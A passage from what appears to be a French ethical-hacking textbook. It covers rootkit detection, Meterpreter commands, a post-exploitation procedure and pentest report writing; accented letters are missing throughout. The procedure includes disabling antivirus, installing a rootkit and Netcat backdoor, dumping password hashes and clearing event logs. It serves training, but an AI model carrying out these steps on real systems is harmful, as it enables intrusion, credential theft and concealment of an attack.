Bien que de nombreux rootkits fonctionnent au niveau du noyau et aient la possibilit dviter toute dtection par un antivirus, linstallation, lutilisation et la mise jour de ce logiciel sont essentielles. Certains rootkits, en particulier les plus anciens et les moins sophistiqus, sont parfaitement dtects et radiqus par les logiciels antivirus modernes. Il est galement important de surveiller le trafic qui entre et sort du rseau. De nombreux administrateurs matrisent totalement la surveillance et le blocage du trafic qui transite par leur rseau. Ils passent des journes et des semaines ajuster les rgles pour bloquer le trafic entrant. En revanche, la plupart de ces administrateurs ignorent totalement le trafic sortant. Ils se focalisent tellement sur le trafic entrant quils en oublient dexaminer ce qui sort. La surveillance du trafic sortant peut pourtant tre essentielle la dtection des rootkits et des autres logiciels malveillants. Vous devez prendre le temps de vous former au filtrage sortant ( egress filtering). Pour dtecter les rootkits et les portes drobes, une autre solution efficace consiste scanner rgulirement les ports des systmes. Notez chaque port ouvert sur chacun des systmes. Si vous dcouvrez un systme avec un port ouvert inconnu, analysez la machine et identifiez le bandit. Des outils comme Rootkit Revealer, Vice et Blacklight de F-Secure font partie des solutions gratuites qui permettent de rvler lexistence de fichiers masqus et de rootkits. Malheureusement, aprs quun rootkit a t install, il peut tre trs difficile supprimer, tout au moins intgralement. Il faudra parfois redmarrer la machine avec un systme dexploitation autre et monter le disque dur dorigine. En procdant ainsi, nous pouvons examiner le disque de faon plus minutieuse. Puisque le systme dexploitation dorigine est arrt, le logiciel de scan nutilisera pas les API du systme infect. Nous aurons ainsi plus de chances de dcouvrir et de supprimer le rootkit. Quoi quil en soit, la meilleure solution est souvent deffacer le systme par un formatage intgral et de tout rinstaller.

Meterpreter
Si vous ne deviez apprendre utiliser quune seule charge de Metasploit, que ce soit Meterpreter. Nous avons brivement mentionn la charge Meterpreter et lavons utilise quelques reprises dans le chapitre prcdent. Le potentiel et la souplesse dun shell Meterpreter sont stupfiants et poustouflants. Certes, Meterpreter nous permet de mettre en place un hacking digne dun bon film, mais, plus important encore, ce shell nous fournit des commandes qui permettent de passer rapidement et facilement de la phase dexploitation celle de postexploitation. Pour utiliser le shell Meterpreter, nous devons le slectionner comme charge de Metasploit. Les dtails de la procdure sont donns au Chapitre 4. Aprs avoir russi exploiter la cible et une fois que nous disposons dun accs un shell Meterpreter, nous pouvons passer la postexploitation. La liste des activits possibles avec Meterpreter est trop longue pour tre dcrite intgralement, mais nous donnons au Tableau 7.1 les commandes de base et leur description. Pour comprendre la puissance de cet outil, nous vous encourageons reprendre lexploit de votre machine victime et excuter chacune des commandes recenses dans ce tableau. Pour cela, il suffit de saisir la commande linvite meterpreter >. Tableau 7.1 : Principales commandes du shell Meterpreter Commande Description cat nom_fichier Affiche le contenu du fichier indiqu. Commandes identiques celles du systme Linux, avec les mmes rsultats. Efface tous les vnements consigns dans les

cd, rm, mkdir, rmdir

clearev

journaux Application, Systme et Scurit de la machine cible.

download Tlcharge le fichier indiqu depuis la cible vers <fichier_source> lhte local (la machine dattaque). <fichier_destination> Lance un diteur VIM afin de modifier des documents.

edit

execute f nom_fichier

Excute le fichier indiqu sur la cible.

getsystem

Demande Meterpreter dessayer daugmenter les privilges jusquau niveau le plus lev. Localise et affiche les noms dutilisateurs et les mots de passe chiffrs dfinis sur la cible. Ces mots de passe chiffrs peuvent tre copis dans un fichier texte et passs John the Ripper. Affiche la dure pendant laquelle la machine est reste inactive. Affiche les frappes au clavier captures jusqu prsent sur lordinateur cible. Il faut tout dabord excuter keyscan_start. Commence la capture des frappes au clavier sur la victime. Pour cela, il faut migrer le shell vers

hashdump

idletime

keyscan_dump

keyscan_start

le processus explorer.exe .

keyscan_stop

Arrte lenregistrement des frappes au clavier. Stoppe (tue) le processus indiqu. Lidentifiant du processus peut tre obtenu laide de la commande ps. Dplace le shell Meterpreter vers un autre processus en cours dexcution. Il est indispensable de comprendre cette commande. Affiche la liste de tous les processus en cours dexcution sur la cible. Redmarre ou arrte la machine cible. Effectue une capture dcran de la machine cible. Recherche sur la machine cible le fichier indiqu. Fournit des informations systme qui concernent la cible, notamment le nom de lordinateur, le systme dexploitation, le Service Pack appliqu, etc.

kill id_processus

migrate

ps

reboot / shutdown

screenshot

search f nom_fichier

sysinfo

upload Tlcharge le fichier indiqu depuis la machine <fichier_source> dattaque vers la machine cible. <fichier_destination>

Vous le constatez, le Tableau 7.1 numre une liste dactivits relativement complexes, que le shell Meterpreter rend particulirement simples. Cette seule charge nous permet deffectuer trs facilement tout un ensemble dactivits de postexploitation, dont la migration du processus vers un autre plus stable, la dsactivation ou larrt dun logiciel antivirus, le tlchargement de fichiers, lexcution de fichiers, la modification, la copie et la suppression de fichiers, laugmentation des privilges, laffichage des mots de passe chiffrs, linstallation dun enregistreur des frappes au clavier et leur affichage, ainsi que la prise dune capture dcran de lordinateur cible. Nous ne les avons pas incluses dans cette liste, mais de nombreuses autres possibilits existent, comme le contrle de la webcam, la modification du Registre, la modification de la table de routage de la cible, etc. En raison de toutes ces possibilits, vous vous sentez peut-tre un peu perdu, ou plus probablement comme un enfant dans un magasin de bonbons. Nous donnons ci-aprs une mthodologie simplifie de postexploitation fonde sur Meterpreter. Il est important de comprendre que cette approche simplifie nest quune des nombreuses faons de profiter de Meterpreter. 1. Exploiter la cible et lui envoyer la charge Meterpreter. 2. Utiliser la commande migrate pour dplacer Meterpreter vers un processus commun, qui est toujours en cours dexcution et dont le rle est un tantinet mystrieux. Le processus hte pour les services de Windows ( svchost.exe ) en est un parfait exemple. 3. Utiliser la commande kill pour dsactiver un antivirus. 4. Utiliser la commande shell pour disposer dune invite de

5.

6. 7. 8. 9. 10. 11. 12. 13.

commande sur la machine cible et excuter netsh advfirewall firewall pour modifier les paramtres du pare-feu de Windows (afin dautoriser une connexion ou un port). Aprs que lantivirus a t dsactiv, utiliser la commande upload pour envoyer les outils indispensables, comme un rootkit et les utilitaires dcrits dans cet ouvrage (Nmap, Metasploit, John the Ripper, Netcat, etc.). Installer le rootkit avec la commande execute -f. Si le rootkit choisi ne propose pas la mise en place dune porte drobe, installer Netcat en tant que porte drobe permanente avec la commande execute -f. Modifier le Registre laide de la commande reg afin de rendre Netcat persistant. Rcuprer les mots de passe chiffrs avec la commande hashdump et les soumettre John the Ripper. Configurer le fichier .ini du rootkit avec la commande edit afin de masquer les fichiers tlchargs, la porte drobe et les nouveaux ports ouverts. Tester la porte drobe en crant une nouvelle connexion depuis la machine dattaque vers la cible. Effacer les journaux des vnements avec la commande clearev. Piller la machine cible ou pivoter vers la suivante.

nouveau, en raison de sa puissance et de sa flexibilit, les possibilits de postexploitation avec cet outil sont quasi sans limite. Vous devez passer autant de temps que possible explorer cette charge et matriser Meterpreter.

Mettre en pratique cette phase


linstar des autres phases dcrites, la matrise des tactiques et des techniques de postexploitation exige beaucoup de pratique. Le bon usage des outils comme Netcat peut paratre initialement droutant, notamment

avec loption -e pour la mise en place dune porte drobe. La meilleure manire de mettre en pratique cette fonctionnalit consiste configurer deux machines et exprimenter lutilisation de Netcat entre elles. Plus vous emploierez Netcat, plus vous deviendrez familier du concept. Vous devez vous essayer lenvoi et la rception de fichiers partir de chaque machine. Il est important de comprendre le sens des transferts et de savoir comment employer Netcat pour les raliser dans les deux directions. Ds que les bases de ces oprations sont acquises, vous pouvez passer lutilisation de Netcat en tant que porte drobe. Noubliez pas que loption -e est essentielle cette tche. Pour parfaitement comprendre la mise en uvre dune porte drobe avec Netcat, vous devrez savoir comment configurer loutil en mode coute sur la cible et comment vous y connecter depuis la machine dattaque. Testez la configuration dune porte drobe et tablissez une connexion avec Linux et Windows. Vous devez matriser les diffrences entre ces deux versions. Noubliez pas quune version Windows de Netcat est capable de se connecter une version Linux, et vice versa. Toutefois, chacune prsente des diffrences mineures au niveau des options et des fonctionnalits. Enfin, ds que les bases de Netcat sont acquises, passez aux fonctionnalits labores, comme son utilisation en tant que proxy, lexcution de shells inverss, le scan des ports, la cration et la copie de limage dune partition disque et le chanage des instances de Netcat afin de faire rebondir le trafic dune machine sur une autre. Avant den terminer avec Netcat, noubliez pas de consulter les pages de manuel et de comprendre le fonctionnement de chaque option. nouveau, vous devrez examiner attentivement les diffrences entre les versions Linux et Windows. Cette lecture vous fournira des informations supplmentaires et vous permettra dimaginer des nouvelles utilisations de loutil.

La pratique des rootkits peut tre double tranchant. Ltude et lapprentissage de lutilisation des rootkits peuvent tre gratifiants, mais, comme pour nimporte quel logiciel malveillant, cela comporte des risques. Chaque fois quun logiciel malveillant est employ ou tudi, il est possible quil infecte le systme hte. Le lecteur est fortement encourag faire preuve dune extrme prudence lors du tlchargement et de linstallation de nimporte quel logiciel malveillant. Lanalyse pousse des logiciels malveillants et des rootkits sort du cadre de cet ouvrage, et nous la dconseillons. Si vous tes nanmoins attir par ce sujet, la mise en place dun environnement et de machines virtuelles isols est indispensable. Dconnectez toujours les accs extrieurs avant de travailler afin que rien ne puisse sortir du rseau. Noubliez pas que vous tes lgalement responsable du trafic qui sort de votre rseau. Les lois ne font pas de diffrence entre le trafic qui est sorti par accident et celui qui a t envoy dessein. Dans les tests de pntration, les rootkits et les portes drobes sont rarement un sujet abord. Nous vous recommandons de vous focaliser sur les autres aspects avant de vous aventurer dans le monde des logiciels malveillants.

Et ensuite
Lorsque les bases des portes drobes et des rootkits sont matrises, vous pouvez passer ltude doutils comparables, notamment Ncat and Socat. Ncat est une version modernise du Netcat dorigine, et il est fourni avec le projet Nmap. Ncat constitue une amlioration de loutil initial qui inclut plusieurs de ses fonctionnalits dorigine et ajoute la prise en charge de SSL et dIPv6. Socat est galement un outil proche de Netcat, parfaitement adapt la lecture et lcriture dun trafic rseau. Socat tend aussi les fonctionnalits dorigine de Netcat en prenant en charge SSL, IPv6 et dautres aspects labors.

Si vous vous intressez aux portes drobes, prenez le temps dtudier les classiques, comme Netbus, Back Orifice et SubSeven (Sub7). Netbus est un bon exemple de logiciel traditionnel de commande et de contrle. Back Orifice, de nature comparable Netbus, permet lutilisateur de commander et de contrler une machine distante. Ce logiciel a t initialement dvelopp par sir Dystic en 1998. La prsentation dorigine, intitule "Cult of the Dead Cow: The announcement of Back Orifice, DirectXploit, and the modular ButtPlugins for BO", est disponible dans les archives multimdias de la confrence Defcon 6. Sub7 a t publi en 1999 par Mobman. Il opre en mode client/serveur, la manire de Netbus et de Back Orifice. linstar des autres outils prsents dans ce chapitre, Sub7 permet un client de contrler distance un serveur. Si vous voulez tendre vos connaissances sur les rootkits, vous devrez tudier et matriser le fonctionnement interne des systmes dexploitation modernes. Se plonger dans les dtails du noyau de systme dexploitation va vous sembler impossible. Consacrez-y le temps ncessaire car vos efforts seront rcompenss. Dans ce chapitre, nous avons dcrit le rootkit Hacker Defender et avons propos une vue densemble des fonctionnalits et de lutilisation des rootkits. Il faut bien comprendre que nous navons fait quaborder ce sujet. Les aspects plus avancs comprennent notamment le dtournement des appels systme et des fonctions, ainsi que la comprhension du mode utilisateur et du mode noyau. Acqurir de solides connaissances en programmation systme et en langage de programmation se rvlera galement extrmement bnfique.

En rsum
Ce chapitre sest intress aux activits de postexploitation au travers de lutilisation et de la mise en place de portes drobes, de rootkits et du

shell Meterpreter. Noubliez pas que, avant dutiliser un rootkit ou une porte drobe dans un test dintrusion, vous devez y avoir t expressment autoris. Nous avons commenc par dcrire Netcat, un outil extrmement puissant et souple. Plusieurs de ses utilisations, notamment en tant que porte drobe, ont t illustres. Cryptcat, une version moderne de Netcat avec la possibilit de chiffrer le trafic chang entre deux machines, a galement t prsent. Nous avons ensuite fait un tour densemble des rootkits, notamment de leur structure et de leur utilisation de base. En particulier, lutilisation, la configuration et la mise en uvre appropries de Hacker Defender ont t dtailles. Ce chapitre a conclu par une revue des commandes de postexploitation disponibles dans le shell Meterpreter.

8 Conclusion dun test dintrusion


Introduction
Nombreux sont ceux supposer quune fois acheves les quatre phases dcrites dans les chapitres prcdents, le test dintrusion est termin. Les dbutants supposent galement quaprs la fin de la phase 4 ils peuvent simplement appeler leur client pour discuter des dcouvertes ou mme se contenter de lui envoyer leur facture. Malheureusement, cela ne se passe pas ainsi. En ralit, aprs les aspects techniques du test dintrusion, il reste encore une tche raliser. Lorsque la reconnaissance, le scan, lexploitation et le maintien de laccs sont termins, nous devons rdiger un rapport du test dintrusion qui rsume nos dcouvertes. Il nest pas rare que des hackers et des testeurs dintrusion sinon extrmement talentueux ignorent totalement cette activit finale. Ces personnes ont les comptences et les connaissances pour compromettre quasiment nimporte quel rseau, mais elles sont incapables de communiquer au client les vulnrabilits, les exploits et les remdes. Par de nombreux aspects, la rdaction dun rapport de test dintrusion est lune des tches essentielles dun hacker thique. Il ne faut pas oublier que mieux vous faites votre travail de testeur dintrusion moins votre client devrait le remarquer. Par consquent, la seule preuve tangible du travail effectu sera souvent le rapport que le client recevra du testeur dintrusion.

Le rapport du test dintrusion reprsente la vitrine de votre entreprise et de sa rputation. Aprs que le contrat initial a t sign, avec ltendue et les autorisations requises, le testeur dintrusion disparat de lentreprise cible. Le test se passe ensuite dans un environnement relativement isol. Lorsquil est termin, il est indispensable que le testeur dintrusion prsente ses conclusions de manire rflchie, organise et facile comprendre. nouveau, il ne faut pas oublier que, dans la plupart des cas, lentreprise cible (celle qui vous paye) na aucune ide de ce que vous ralisez ni du nombre dheures que vous y consacrez. Cest pourquoi le rapport du test dintrusion devient le principal reflet de vos comptences. Vous avez pour devoir de prsenter vos dcouvertes au client, mais cela vous donne galement lopportunit de lui montrer votre talent et de lui expliquer combien vous avez dpens intelligemment son temps et son argent. Ne sous-estimez pas limportance de cette phase. En ralit, votre travail et votre succs seront souvent jugs en fonction non pas de votre russite ou de votre chec compromettre un rseau mais du rapport que vous remettrez. Votre capacit rdiger un bon rapport de test dintrusion devrait finalement vous amener signer de nouveaux contrats.

Rdiger le rapport de test dintrusion


linstar des autres sujets dont nous avons trait, la rdaction dun bon rapport de test dintrusion demande de la pratique. De nombreux testeurs dintrusion pensent tort quils peuvent simplement fournir la sortie brute des outils quils ont employs. Ils runissent les diffrentes sorties et les organisent parfaitement dans un mme rapport. Ils collectent les informations obtenues lors de la phase de reconnaissance et les incluent avec la sortie de Nmap et de Nessus. La plupart des outils dcrits dans cet ouvrage disposent dun moteur de gnration de rapports. Par exemple, Nessus propose plusieurs rapports prdfinis quil est possible de gnrer partir dun scan.

Malheureusement, fournir ces rapports ne suffit pas. Chaque rapport doit tre prsent sous forme dun seul document. Associer un rapport produit par Nessus avec celui de Nmap ou de Metasploit, tous dans des styles diffrents, conduira un rapport global dcousu et dsorganis. Cela tant dit, il est important de fournir la sortie dtaille de chaque outil. Peu de clients auront la capacit de comprendre la sortie technique de Nmap ou de Nessus, mais il ne faut pas oublier que les donnes appartiennent au client et il est important quil puisse y avoir accs dans leur version brute. Nous vous avons donn plusieurs exemples de ce quil ne faut pas faire dans un rapport de test dintrusion. Prenons le problme sous un autre angle et expliquons ce qui doit tre fait. En premier lieu, le rapport de test dintrusion doit tre dcompos en plusieurs parties individuelles. Ensemble, elles formeront le rapport global, mais chacune doit galement pouvoir tre consulte de faon indpendante. Un rapport de test dintrusion bien prsent et structur doit inclure au moins les parties suivantes : une synthse ; une description de la ralisation du test dintrusion afin dexpliquer comment sest faite la compromission des systmes ; un rapport dtaill ; les sorties brutes (si elles sont demandes) et les informations de support. Synthse La synthse doit constituer une courte vue densemble des principales conclusions. Ce document ne doit pas dpasser deux pages et ne doit comprendre que les lments marquants du test dintrusion. La synthse ne doit fournir aucun dtail technique ni terminologie. Elle doit tre

rdige de faon pouvoir tre lue par les directeurs et le personnel non technique afin quils puissent comprendre vos dcouvertes et connatre les problmes importants du rseau et des systmes. Si des vulnrabilits et exploits ont t trouvs, la synthse doit expliquer en quoi ces dcouvertes peuvent avoir un impact sur lentreprise. Elle doit donner des liens et des rfrences vers le rapport dtaill afin que les personnes intresses puissent en examiner les aspects techniques. Il ne faut pas oublier que la synthse doit tre trs courte et rdige un niveau lev. Il faudrait que la grand-mre du rdacteur soit capable de comprendre ce qui a t ralis au cours du test dintrusion et de reconnatre limportance des dcouvertes effectues. Dans cette partie du rapport, il peut galement tre intressant de resituer ltendue et lobjectif du test, ainsi que de donner un taux de sensibilit aux risques de lentreprise. Rapport dtaill La deuxime partie dun rapport de test dintrusion digne de ce nom est le rapport dtaill. Il comprend une liste exhaustive des dcouvertes, avec tous les dtails techniques. Il est destin aux responsables informatiques, aux experts en scurit, aux administrateurs rseau et toutes les personnes qui possdent les comptences et les connaissances requises pour lire et saisir sa nature technique. Dans la plupart des cas, ce rapport sera employ par le personnel technique pour comprendre les dtails rvls par votre test et pour mettre en place des solutions correctives. Comme pour toutes les autres facettes du test dintrusion, il est important dtre honnte et direct avec le client. Vous pourriez tre tent de mettre en avant vos grandes comptences techniques et dexpliquer comment vous avez compromis un service, mais il est plus important de prsenter les faits au client, en commenant par les problmes qui font peser les plus grands risques sur ses rseaux et ses systmes. Classer par ordre dimportance les vulnrabilits dcouvertes pourra poser des difficults au testeur dintrusion novice. Par chance, la plupart des outils comme

Nessus proposent un systme de classement par dfaut. Les points critiques doivent toujours tre prsents en premier. Le test dintrusion est ainsi plus facile lire et permet au client de ragir face aux dcouvertes les plus srieuses (sans avoir se plonger dans lanalyse de cinquante pages de sortie technique). En raison de son importance, rappelons-le nouveau : il est impratif que les besoins du client passent avant votre ego. Prenons un exemple. Supposons que vous meniez un test dintrusion et soyez en mesure de compromettre intgralement un serveur sur le rseau de la cible. Cependant, aprs une analyse plus pousse, vous constatez que ce systme na pas dintrt. Autrement dit, il ne contient aucune donne, nest pas connect dautres systmes et ne peut pas servir de pivot pour avancer dans le rseau. Dans la suite du test dintrusion, lun des outils signale une vulnrabilit critique sur un routeur de primtre. Malheureusement, aprs la lecture des informations sur la vulnrabilit et le lancement de plusieurs outils, vous ntes pas en mesure dexploiter cette faiblesse ni dobtenir un accs au systme. Mme si vous navez pas t capable de pntrer sur le routeur de primtre, vous tes certain que le systme est vulnrable. Puisque cet appareil est un routeur de primtre, vous savez galement que sa compromission fera peser un risque important sur lintgralit du rseau. Bien entendu, ces deux dfauts doivent tre signals. Cependant, il faut reconnatre que, dans ce cas, lune des failles prsente un danger plus important que lautre. Dans une telle situation, de nombreux dbutants pourraient tre tents de mettre en avant leurs comptences techniques en accentuant le fait quils ont pu compromettre un serveur et en rduisant limportance de la vulnrabilit critique car ils nont pas t capables de lexploiter. Ne faites jamais passer votre ego avant la scurit de vos clients. Ne tombez pas dans lexagration ; faites simplement part de vos conclusions au mieux de vos capacits et de manire objective. Laissez le client prendre des dcisions subjectives partir des donnes que vous fournissez. Ne falsifiez jamais les donnes dun test dintrusion. Ne rutilisez jamais des captures dcran qui

servent de preuve dun concept. Il pourrait tre tentant de fournir des captures dcran qui correspondent des preuves gnriques rutilisables, mais cette approche est dangereuse et en rien thique. Les captures dcran servant de preuve du concept sont importantes et doivent tre incluses dans le rapport de test dintrusion autant que possible. Chaque fois que vous faites une dcouverte majeure ou russissez mener bien un exploit, vous devez inclure une capture dcran dans le rapport dtaill. Elle servira de preuve indniable et fournira au lecteur une reprsentation visuelle de votre succs. Il ne faut galement pas oublier, en particulier lors des premiers pas dans cette activit, que tous les tests dintrusion ne mneront pas la compromission de la cible. Dans la plupart des cas, le test dintrusion est limit par des rgles artificielles qui en diminuent la ralit. Cela comprend les demandes imposes par le client, comme ltendue, le temps et le budget, ainsi que les contraintes juridiques et thiques qui dfinissent les frontires du test dintrusion. Au cours de votre carrire, vous rencontrerez sans aucun doute des situations dans lesquelles un test dintrusion ne mnera rien : aucune vulnrabilit, aucune faiblesse, aucune information intressante recueillie, etc. Mme dans ce cas, le rapport du test dintrusion doit tre rdig. Lorsque cest possible, vous devez proposer des solutions de rduction des risques et des suggestions de correction pour les problmes dcouverts. Certains outils, comme Nessus, suggreront des solutions. Si les outils que vous employez nont pas de propositions faire, il est important que vous trouviez par vous-mme des solutions ventuelles. Si vous ne savez pas o les chercher, la plupart des vulnrabilits et des exploits publics donnent des dtails ou des tapes qui permettent de corriger les faiblesses. Servez-vous de Google et dInternet pour vous documenter sur les particularits des faiblesses signales. En tudiant les dtails techniques et les vulnrabilits, vous trouverez souvent des solutions. Cela comprend gnralement le tlchargement dun correctif ou une mise niveau vers la nouvelle version du logiciel, mais dautres

mthodes de rsolution sont galement envisageables, comme un changement de configuration ou un remplacement du matriel. Le rapport dtaill doit absolument fournir des solutions chaque problme dcouvert. Cela vous permettra galement de vous diffrencier des autres testeurs dintrusion et de signer de nouveaux contrats. Si vous fournissez la sortie brute des outils dans le rapport de test dintrusion, les conclusions du rapport dtaill doivent comprendre des liens et des rfrences vers les pages de cette partie. Ce point est important car il vous vitera de perdre du temps au tlphone pour rpondre votre client qui se demande comment vous avez dcouvert un problme prcis. En faisant clairement rfrence aux rsultats bruts des outils, le client pourra se plonger dans les dtails sans avoir besoin de vous contacter. Vous devez ainsi tre en mesure de voir comment le rapport passe de la synthse au rapport dtaill et aux sorties brutes. Sorties brutes Lorsque le client le demande, la dernire partie du rapport doit donner les dtails techniques et les sorties brutes de chaque outil employ. En ralit, tous les testeurs dintrusion ne sont pas daccord sur la ncessit dinclure ces informations dans le rapport. Lun des principaux arguments, parfaitement dfendable, est quelles correspondent souvent des centaines de pages trs difficiles lire et analyser. Lautre raison souvent avance est que donner ce niveau de dtail est inutile et que cela permet au client de connatre prcisment les outils qui ont permis de raliser le test dintrusion. Si vous employez des outils personnaliss, des scripts ou dautres codes propritaires pour raliser les tests dintrusion, il est probable que vous ne souhaitiez pas rvler ces informations votre client. Cependant, dans la plupart des cas, il est possible de fournir la sortie brute gnre par ces outils. Cela signifie non pas que vous devez indiquer les commandes exactes et les options employes pour excuter les outils comme

Metasploit, Nmap ou du code personnel, mais que vous devez rendre la sortie de ces commandes disponible. Si vous ne voulez pas rvler les commandes prcises qui ont servi lancer les outils, vous pouvez nettoyer la sortie brute afin de retirer les informations que vous ne souhaitez pas dvoiler aux lecteurs du rapport. Dans le cas dun test dintrusion de base, qui implique gnralement les outils prsents dans cet ouvrage, la sortie brute peut parfaitement tre incluse la fin du rapport (ou tre rendue disponible dans un rapport spar). En effet, dans un tel test, les outils et les commandes qui ont servi les invoquer sont largement connus. Il ny a aucune vritable raison de vouloir masquer ces informations. Par ailleurs, comme nous lavons mentionn prcdemment, donner les sorties brutes et y faire clairement rfrence dans le rapport dtaill vous permettront souvent de gagner du temps et dviter les appels tlphoniques de clients frustrs qui ne comprennent pas vos conclusions. Que vous incluiez les donnes brutes dans le rapport ou les proposiez dans un document spar est une dcision qui vous revient. Selon la taille du rapport, il peut en effet tre prfrable de les proposer dans un document indpendant, sans les joindre la synthse et au rapport dtaill. Vous devez galement rflchir la faon de prsenter le rapport au client. Ce point doit tre discut avant la livraison du rapport. En terme de gestion du temps et de ressources, il est souvent plus facile de le fournir sous forme dun document lectronique. Si le client demande une copie papier, vous devrez imprimer le document et le relier de manire professionnelle. Envoyez-lui par courrier recommand avec avis de rception afin dtre certain que le document a t reu. Si le document doit tre envoy de faon lectronique, pensez le chiffrer de sorte quil reste confidentiel jusqu son arrive entre les mains du client. Noubliez pas quun rapport de test dintrusion comprend souvent des informations trs sensibles sur lentreprise. Vous devez vous

assurer quelles restent prives. Il serait trs ennuyeux quun rapport que vous avez rdig devienne public simplement parce que vous navez pas pris les mesures de bon sens pour garantir sa confidentialit. Il existe plusieurs manires de protger le document. Vous pouvez employer un outil comme 7zip pour compresser les fichiers et ajouter un mot de passe. Une meilleure solution consiste cependant utiliser un outil comme TrueCrypt pour chiffrer le document. Ce programme simple demploi peut tre tlcharg gratuitement ladresse http://www.truecrypt.org. Quel que soit le type de chiffrement ou de protection que vous utilisez, le client devra employer le mme outil pour dchiffrer et consulter le document. Ce mode opratoire doit tre discut avant le dbut du test dintrusion. Certains clients pourraient ne pas comprendre ne serait-ce que les bases de la cryptographie. Vous devrez alors leur expliquer les techniques qui permettront de consulter le rapport final. Chaque section ou sous-rapport individuel doit tre clairement libell et doit dbuter sur une nouvelle page. Sous le titre de chaque rapport, il peut tre bon de souligner au lecteur que le test dintrusion nest valide qu un moment donn dans le temps. La scurit des rseaux, des ordinateurs, des systmes et des logiciels est dynamique. Les menaces et les vulnrabilits voluent la vitesse de la lumire. Par consquent, un systme qui semble totalement impntrable aujourdhui pourrait tre facilement compromis demain si une nouvelle vulnrabilit venait tre dcouverte. Afin de vous garantir contre ces volutions rapides, il est important de prciser que les rsultats du test sont corrects jusquau jour o vous avez achev lvaluation. Vous devez fixer au client des attentes ralistes. Noubliez pas qu moins de remplir lordinateur de bton, de le jeter au milieu de locan et de le dbrancher dInternet, il y a toujours un risque que le systme puisse tre un jour pirat laide dune technique inconnue ou dune nouvelle faille 0-day. Enfin, prenez le temps de prparer, de lire, de relire et de corriger votre rapport. Il est tout aussi important de fournir un rapport techniquement

correct que dpourvu de fautes dorthographe et de grammaire. Un rapport de test dintrusion technique truff de fautes indiquera votre client que vous bclez votre travail et aura un impact ngatif sur votre activit. En gnral, le rapport reprsente le seul lment que votre client aura de votre travail. Vous serez jug en fonction de son niveau technique et de ses conclusions, mais galement sur sa prsentation et sa lisibilit. Pendant que vous relisez votre rapport la recherche dventuelles erreurs, prenez le temps dexaminer attentivement la sortie dtaille des diffrents outils. Noubliez pas que nombre dentre eux sont dvelopps par des hackers avec un sens de lhumour bien eux. Malheureusement, il nest pas toujours compatible avec le monde professionnel. Au dbut de ma carrire de testeur dintrusion, je me suis trouv, avec un collgue, dans une situation embarrassante. Lun de mes outils prfrs, Burp Suite, avait tent de se connecter de nombreuses reprises un service particulier en utilisant le nom "Peter Weiner 2". Notre rapport tait donc rempli dexemples de comptes dutilisateurs appartenant Peter Weiner. Il nest pas si facile de se prsenter devant de nombreux professionnels en "costard-cravate" et de discuter dun utilisateur fictif nomm Peter Weiner. Il faut savoir que, dans ce cas, jtais totalement responsable de cette erreur. Le personnel de PortSwigger avait explicitement indiqu comment changer ce nom dutilisateur dans les paramtres de configuration et un examen plus attentif des rapports aurait soulev ce problme avant ma prsentation. Si javais correctement relu le rapport et les conclusions, jaurais eu tout le temps de le corriger (ou tout au moins de trouver une bonne excuse). Votre rputation en tant que testeur dintrusion sera en lien direct avec la qualit des rapports que vous fournissez. Il est essentiel de savoir rdiger les conclusions dun test dintrusion si vous voulez trouver des clients et signer de nouveaux contrats. Nhsitez pas rencontrer vos prospects avec un exemple de rapport. Il arrive souvent quils demandent voir un

tel exemple avant de prendre une dcision finale. Mais vous ne devez donner quun exemple. Il ne doit contenir aucune information sur un client rel. Nutilisez jamais le rapport dun client prcdent comme exemple, car vous ne respecteriez plus alors la confidentialit implicite ou contractuelle qui vous unissait. Pour en conclure avec la phase de rdaction du rapport, il est bon de mentionner que la plupart des clients supposeront que vous restez disponible aprs sa livraison. En raison de la nature technique et dtaille du test dintrusion et du rapport, vous devez vous attendre quelques questions. nouveau, prendre le temps de rpondre chaque question doit tre vu non pas comme une source dagacement mais comme une opportunit dimpressionner le client et dobtenir de nouveaux contrats. Un bon service client vaut son pesant dor et aura souvent des retours bnfiques. videmment, votre volont de travailler avec un client et de proposer des services supplmentaires doit rester commercialement viable. Il ne vous est pas demand dassurer un support client indfiniment gratuit, mais de trouver un quilibre entre un service client exceptionnel et des bnfices commerciaux.

Participer
En supposant que vous ayez lu lintgralit de cet ouvrage (flicitations !), vous vous demandez probablement comment poursuivre. La rponse dpend entirement de vous. Tout dabord, nous vous suggrons de pratiquer et de matriser les informations et les techniques donnes dans cet ouvrage. Ds que ces bases nauront plus de secret pour vous, passez aux sujets et aux outils plus avancs que nous indiquons dans les sections "Et ensuite" de chaque chapitre. Si vous matrisez tout le contenu prsent de cet ouvrage, vous avez dj une solide comprhension des procdures de hacking et de test dintrusion. Vous devez vous sentir suffisamment laise avec ces sujets de base avant daborder des aspects avancs, voire spcialiss.

Cependant, il est bon de rappeler que le hacking et les tests dintrusion ne se limitent pas au lancement doutils. De nombreux groupes communautaires se sont forms autour de ces sujets. Vous devez participer ces communauts. Prsentez-vous et apprenez en posant des questions et en observant. Vous devez galement y contribuer si vous le pouvez. Les communauts qui sintressent au hacking, la scurit et aux tests dintrusion sont accessibles au travers de diffrents sites web, forums en ligne, messageries instantanes, listes de diffusion et groupes de nouvelles, voire en personne. Les salons de discussion sont de bons endroits pour en apprendre plus sur la scurit. Ils se focalisent gnralement sur un sujet gnral et, comme leur nom lindique, impliquent des discussions sur divers sujets secondaires qui tournent autour du thme principal. Par de nombreux aspects, rejoindre un salon de discussion est comparable sasseoir dans un caf et couter les conversations. Vous pouvez participer en posant des questions ou vous asseoir silencieusement en lisant les discussions de chacun dans le salon. Si vous navez jamais particip une confrence sur la scurit, vous devez vous promettre de changer cela. DEFCON est une convention annuelle pour hackers qui se tient Las Vegas la fin de chaque t. Elle ressemble un grand cirque, avec plus de 11 000 participants, et, oui, elle a lieu aux tats-Unis, Las Vegas, o il fait trs chaud en aot. Malgr cela, DEFCON constitue lune des meilleures communauts au monde sur la scurit. En gnral, la foule y est trs agrable, les Goons (nom donn aux officiels de DEFCON) sont conviviaux et aimables, et la communaut est ouverte et attrayante. Vous aurez videmment le cot du voyage, mais le prix de lentre nest rien en comparaison des autres vnements associs la scurit et, cerise sur le gteau, les confrences sont exceptionnelles. La qualit et la diversit des prsentations donnes DEFCON sont tout simplement ahurissantes. Les thmes abords varient tous les ans, mais vous tes certain dy trouver le hacking rseau, la scurit des

